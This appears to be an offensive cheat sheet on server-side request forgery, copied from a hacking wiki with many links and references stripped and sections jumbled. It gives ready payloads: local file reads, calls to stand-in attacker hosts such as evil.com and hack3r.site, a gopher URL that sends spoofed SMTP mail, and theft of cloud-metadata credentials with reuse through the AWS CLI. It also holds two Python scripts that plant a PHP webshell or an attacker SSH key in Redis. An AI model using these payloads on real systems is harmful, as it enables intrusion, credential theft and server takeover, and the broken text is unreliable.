Server-side request forgery (also known as SSRF) is a web security vulnerability that allows an attacker to induce the server-side application to make HTTP requests to an arbitrary domain of the attacker's choosing. (From )
What you should try to do
Accessing to local files (file://)
Trying to access to local IP
Local IP bypass
DNS spoofing (domains pointing to 127.0.0.1)
DNS Rebinding (resolves to an IP and next time to a local IP: ). This is useful to bypass configurations which resolves the given domain and check it against a white-list and then try to access it again (as it has to resolve the domain again a different IP can be served by the DNS). More .
Trying to make an internal assets discovery and internal port scan.
Accessing private content (filtered by IP or only accessible locally, like /admin path).
Some applications employ server-side analytics software that tracks visitors. This software often logs the Referrer header in requests, since this is of particular interest for tracking incoming links. Often the analytics software will actually visit any third-party URL that appears in the Referrer header. This is typically done to analyze the contents of referring sites, including the anchor text that is used in the incoming links. As a result, the Referer header often represents fruitful attack surface for SSRF vulnerabilities.
To discover this kind of "hidden" vulnerabilities you could use the plugin "Collaborator Everywhere" from Burp.
Server browser enumeration
Exploitation
file://
file:///etc/passwd
dict://
The DICT URL scheme is used to refer to definitions or word lists available using the DICT protocol:
A network protocol used for secure file transfer over secure shell
ssrf.php?url=sftp://evil.com:11111/
TFTP://
Trivial File Transfer Protocol, works over UDP
ssrf.php?url=tftp://evil.com:12346/TESTUDPPACKET
LDAP://
Lightweight Directory Access Protocol. It is an application protocol used over an IP network to manage and access the distributed directory information service.
ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
will make a request like
HELO localhost
MAIL FROM:<hacker@site.com>
RCPT TO:<victim@site.com>
DATA
From: [Hacker] <hacker@site.com>
To: <victime@site.com>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AHYou didn't say the magic word !
.
QUIT
Gopher HTTP
#For new lines you can use %0A, %0D%0A
gopher://<server>:8080/_GET / HTTP/1.0%0A%0A
gopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body
Gopher SMTP — Back connect to 1337
redirect.php
<?php
header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
?>Now query it.
https://example.com/?q=http://evil.com/redirect.php.
SMTP
SSRF with Command Injection
It might be worth trying a payload like: `url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?whoami```
Exploiting PDFs Rendering
From SSRF to DoS
Create several sessions and try to download heavy files exploiting the SSRF from the sessions.
Abusing DNS Rebidding + TLS Session ID/Session ticket
Requirements:
SSRF
Outbound TLS sessions
Stuff on local ports
Attack:
Ask the user/bot access a domain controlled by the attacker
The TTL of the DNS is 0 sec (so the victim will check the IP of the domain again soon)
A TLS connection is created between the victim and the domain of the attacker. The attacker introduces the payload inside the Session ID or Session Ticket.
The domain will start an infinite loop of redirects against himself. The goal of this is to make the user/bot access the domain until it perform again a DNS request of the domain.
In the DNS request a private IP address is given now (127.0.0.1 for example)
The user/bot will try to reestablish the TLS connection and in order to do so it will send the Session ID/Ticket ID (where the payload of the attacker was contained). So congratulations you managed to ask the user/bot attack himself.
Exploitation in Cloud
Abusing SSRF in AWS EC2 environment
169.254.169.254 - Metadata Address
The IP address 169.254.169.254 is a magic IP in the cloud world. AWS, Azure, Google, DigitalOcean and others use this to allow cloud resources to find out metadata about themselves. Some, such as Google, have additional constraints on the requests, such as requiring it to use Metadata-Flavor: Google as an HTTP header and refusing requests with an X-Forwarded-For header. AWS has no constraints.
Sending a GET requests to the following endpoint will dump a list of roles that are attached to the current EC2 instance:
If you want to access your S3 bucket you would normally hard-code your API keys into your application. Hard-coding clear text passwords is a bad idea. This is why you can assign your EC2 instance a role which can be used to access your S3 bucket. These credentials are automatically rotated by AWS and can be access thought the metadata API.
Once you get a list of roles attached to the EC2 instance you can dump their credentials by making a GET requests to the following URL:
You can then take those credentials and use them with the AWS CLI. This will allow you to do anything that role has permissions to do. If the role has improper permissions set (Most likely) you will be able to do all kinds of things, you might even be able to take over their entire cloud network.
To take advantage of the new credentials, you will need to crate a new AWS profile like this one:
ECS, is a logical group of EC2 instances on which you can run an application without having to scale your own cluster management infrastructure because ECS manages that for you. If you manage to compromise service running in ECS, the metadata endpoints change.
SSRF URL for AWS Elastic Beanstalk
We retrieve the accountId and region from the API.
http://127.0.0.1:2375/v1.24/containers/jsonSimple example
docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash
bash-4.4# curl --unix-socket /var/run/docker.sock http://foo/containers/json
bash-4.4# curl --unix-socket /var/run/docker.sock http://foo/images/json
SSRF URL for Rancher
curl http://rancher-metadata/<version>/<path>
Blind SSRF
The difference between a blind SSRF and a not blind one is that in the blind you cannot see the response of the SSRF request. Then, it is more difficult to exploit because you will be able to exploit only well-known vulnerabilities.
Detect SSRF
To practice
Vulnerable Platforms
Elasticsearch
Commonly bound port: 9200
When Elasticsearch is deployed internally, it usually does not require authentication.
If you have a partially blind SSRF where you can determine the status code, check to see if the following endpoints return a 200:
/_cluster/health
/_cat/indices
/_cat/health
If you have a blind SSRF where you can send POST requests, you can shut down the Elasticsearch instance by sending a POST request to the following path:
Note: the _shutdown API has been removed from Elasticsearch version 2.x. and up. This only works in Elasticsearch 1.6 and below:
/solr/gettingstarted/select?q={!xmlparser v='<!DOCTYPE a SYSTEM "http://SSRF_CANARY/xxx"'><a></a>'
/xxx?q={!type=xmlparser v="<!DOCTYPE a SYSTEM 'http://SSRF_CANARY/solr'><a></a>"}
POST /PSIGW/PeopleSoftServiceListeningConnector HTTP/1.1
Host: website.com
Content-Type: application/xml
...
<!DOCTYPE a PUBLIC "-//B/A/EN" "http://SSRF_CANARY">
Replace alpine with an arbitrary image you would like the docker container to run.
Gitlab Prometheus Redis Exporter
Commonly bound ports: 9121
These exporters provide an excellent method for an attacker to pivot and attack other services using CVE-2020-13379. One of the exporters which is easily exploited is the Redis Exporter.
The following endpoint will allow an attacker to dump all the keys in the redis server provided via the target parameter:
#!/usr/bin/env python
# -*-coding:utf-8-*-
import urllib
protocol="gopher://"
ip="192.168.189.208"
port="6379"
shell="\n\n<?php phpinfo();?>\n\n"
filename="shell.php"
path="/var"
passwd=""
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload
import urllib
protocol="gopher://"
ip="192.168.189.208"
port="6379"
# shell="\n\n<?php eval($_GET[\"cmd\"]);?>\n\n"
sshpublic_key = "\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8IOnJUAt5b/5jDwBDYJTDULjzaqBe2KW3KhqlaY58XveKQRBLrG3ZV0ffPnIW5SLdueunb4HoFKDQ/KPXFzyvVjqByj5688THkq1RJkYxGlgFNgMoPN151zpZ+eCBdFZEf/m8yIb3/7Cp+31s6Q/DvIFif6IjmVRfWXhnkjNehYjsp4gIEBiiW/jWId5yrO9+AwAX4xSabbxuUyu02AQz8wp+h8DZS9itA9m7FyJw8gCrKLEnM7PK/ClEBevDPSR+0YvvYtnUxeCosqp9VrjTfo5q0nNg9JAvPMs+EA1ohUct9UyXbTehr1Bdv4IXx9+7Vhf4/qwle8HKali3feIZ root@kali\n\n"
filename="authorized_keys"
path="/root/.ssh/"
passwd=""
cmd=["flushall",
"set 1 {}".format(sshpublic_key.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload
RCE on GitLab via Git protocol
While this required authenticated access to GitLab to exploit, I am including the payload here as the git protocol may work on the target you are hacking. This payload is for reference.
SSRF Proxy is a multi-threaded HTTP proxy server designed to tunnel client HTTP traffic through HTTP servers vulnerable to Server-Side Request Forgery (SSRF).
References
****
If the server is correctly protected you could bypass all the restrictions by exploiting an Open Redirect inside the web page. Because the webpage will allow SSRF to the same domain and probably will follow redirects, you can exploit the Open Redirect to make the server to access internal any resource.
Read more here:
You can use applications like to find which browser is being used.
Using this protocol you can specify the ip, port and bytes you want the listener to send. Then, you can basically exploit a SSRF to communicate with any TCP server (but you need to know how to talk to the service first).
Fortunately, you can use to already create payloads for several services.
From :
1. connect with SSRF on smtp localhost:25
2. from the first line get the internal domain name 220 ESMTP Sendmail
3. search on github, find subdomains
4. connect
If the web page is automatically creating a PDF with some information you have provided, you can insert some JS that will be executed by the PDF creator itself (the server) while creating the PDF and you will be able to abuse a SSRF. ****
Note that during this attack, if you want to attack localhost:11211 (memcache) you need to make the victim establish the initial connection with www.attacker.com:11211 (the port must always be the same).
To perform this attack you can use the tool:
For more information take a look to the talk where this attack is explained:
Metadata of the basic virtual machines from AWS (called EC2) can be retrieved from the VM accessing the url: http://169.254.169.254 ().
As an example you can visit:
Notice the aws_session_token, this is indispensable for the profile to work.
Information taken from: (read that post for further information).
Another possible interesting place where you can find credentials is in
**can be used with the discovered credentials to find out your privileges and try to escalate privileges
If you access ; you will find the credentials of the ECS machine. But first you need to find the<GUID> . To find the <GUID> you need to read the environ variable AWS_CONTAINER_CREDENTIALS_RELATIVE_URI inside the machine.
You could be able to read it exploiting an Path Traversal to file:///proc/self/environ
The mentioned http address should give you the AccessKey, SecretKey and token.
SSH Public Key :
Get Access Token :
Kubernetes Key :
Documentation available at
Documentation available at
Limited, maybe more exists?
Update Apr 2017, Azure has more support; requires the header “Metadata: true”
You can use to create an HTTP server that will respond correctly to a lot of different requests (GET, POST, PTU, DELETE, JSON, TXT, GIF, MP3...).
This section was copied from
Taken from .
Writeup can be found .
.
See the API reference for Apache Druid .
Taken from .
Taken from this research .
Taken from .
Taken from .
Great writeup .
Follow the instructions here to achieve RCE via GET:
The advisory for this vulnerability was released here:
This vulnerability affects Gitlab instances before version 13.1.1. According to the Prometheus and its exporters are on by default, starting with GitLab 9.0.
